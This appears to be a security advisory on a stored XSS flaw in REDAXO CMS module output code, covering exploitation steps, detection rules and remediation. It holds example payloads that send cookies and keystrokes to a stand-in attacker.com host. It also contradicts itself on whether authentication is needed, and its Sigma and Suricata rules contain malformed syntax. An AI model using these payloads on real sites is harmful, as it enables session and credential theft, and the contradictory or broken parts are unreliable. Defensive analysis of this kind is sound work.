CVE-2025-64049

Executive Summary

CVE-2025-64049 is a stored cross-site scripting (XSS) vulnerability discovered in the module management component of REDAXO CMS version 5.20.0. This flaw allows remote, unauthenticated attackers to inject arbitrary web scripts or HTML via the "Output code" field within modules. The injected payload is executed when any user (including administrators) views or edits an article that contains a slice using the compromised module. This vulnerability poses a significant risk to the confidentiality and integrity of the CMS, as it can lead to session hijacking, credential theft, and defacement. The vendor has not yet released a patch, and no public exploit code is available at this time.

Supply Chain & Package Security

REDAXO CMS is a PHP-based content management system. The vulnerability exists in the core module management feature, not in a third-party package. However, administrators should audit all installed add-ons and modules for similar injection flaws, as the attack vector relies on the module's output code field.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires a user with module editing permissions
• User Interaction (UI): Required (R) – victim must view or edit an article with the malicious slice
• Scope (S): Changed (C) – the injected script can affect resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires a user with module editing privileges, but the impact can be severe if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability resides in the module management component of REDAXO CMS. Modules in REDAXO consist of input and output code fields. The output code field is intended to contain PHP or HTML that renders content on the frontend. However, the application fails to sanitize or escape user-supplied input when storing the output code.

Attack Flow:

1. An attacker with module editing privileges (e.g., a content manager or admin) creates or modifies a module.
2. In the "Output code" field, the attacker injects malicious JavaScript, e.g., <script>alert('XSS')</script>.
3. The malicious code is stored in the database without sanitization.
4. When any user (including other editors or visitors) views or edits an article that uses a slice based on this module, the injected script executes in their browser context.

Root Cause: Lack of output encoding or input validation on the module output code field. The CMS likely uses echo or print to render the output code directly without applying htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the module rendering logic. A typical vulnerable pattern in PHP:

// Vulnerable code (REDAXO core)
echo $module->getOutputCode();

Patched code (hypothetical):

// Patched code
echo htmlspecialchars($module->getOutputCode(), ENT_QUOTES, 'UTF-8');

Alternatively, if the output code is intended to contain HTML, a Content Security Policy (CSP) should be enforced, and user input should be validated against an allowlist of safe tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to REDAXO CMS backend with module editing permissions.
• Knowledge of the target CMS version (5.20.0).

Steps:

1. Log in to the REDAXO backend.
2. Navigate to Modules → Add module.
3. In the Output code field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the module.
5. Create or edit an article and add a slice using the compromised module.
6. When any user views the article, the script executes, exfiltrating cookies to the attacker's server.

Alternative payload (keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor backend logs for unusual module creation or modification events.
• Look for suspicious strings in the rex_module database table, particularly in the output column.
• Use WAF rules to block common XSS payloads in POST requests to module management endpoints.

Hardening:

• Restrict module editing permissions to trusted administrators only.
• Implement a Content Security Policy (CSP) that blocks inline scripts.
• Apply input validation and output encoding on all module fields.
• Regularly audit modules for malicious code.

Indicators of Compromise (IOCs)

• File-based IOCs:
  • Modified module files in /redaxo/src/addons/ or /redaxo/data/addons/ containing <script> tags.
• Database IOCs:
  • Entries in the rex_module table where the output column contains <script>, onerror, onload, or javascript:.
• Network IOCs:
  • Outbound HTTP requests to unknown domains from the CMS server (exfiltration).
  • Suspicious Referer headers pointing to REDAXO backend URLs.
• Log IOCs:
  • Backend audit logs showing module creation/modification by unexpected users.
  • Error logs containing XSS or script in the context of module rendering.

Detection Engineering

YARA Rule

rule Detect_REDAXO_Stored_XSS_Module_Output {
    meta:
        description = "Detects stored XSS payloads in REDAXO module output code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64049"
    strings:
        $xss1 = /<script[\s>]/ nocase
        $xss2 = /onerror\s*=/ nocase
        $xss3 = /onload\s*=/ nocase
        $xss4 = /javascript\s*:/ nocase
        $xss5 = /onmouseover\s*=/ nocase
    condition:
        any of ($xss*) and filesize < 1MB
}

Sigma Rule

title: REDAXO Stored XSS via Module Output Code
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in REDAXO CMS module output code field
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64049
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'module=add' or 'module=edit'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in modules (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.64049

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"REDAXO Stored XSS - Module Output Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/redaxo/index.php"; http_uri; content:"module=add" or content:"module=edit"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/Pi"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict module editing permissions to only essential administrators.
2. Audit all existing modules for malicious or suspicious output code.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in module-related POST requests.
4. Enable Content Security Policy (CSP) headers to block inline scripts.

Long-term Fix:

• Apply input validation and output encoding on the module output code field.
• Use a templating engine that auto-escapes output (e.g., Twig).
• Upgrade to a patched version once released by REDAXO.

Workaround:

• Disable the module management feature for non-admin users via ACL.
• Manually sanitize the output column in the database using a script that removes <script> tags.

Valters IT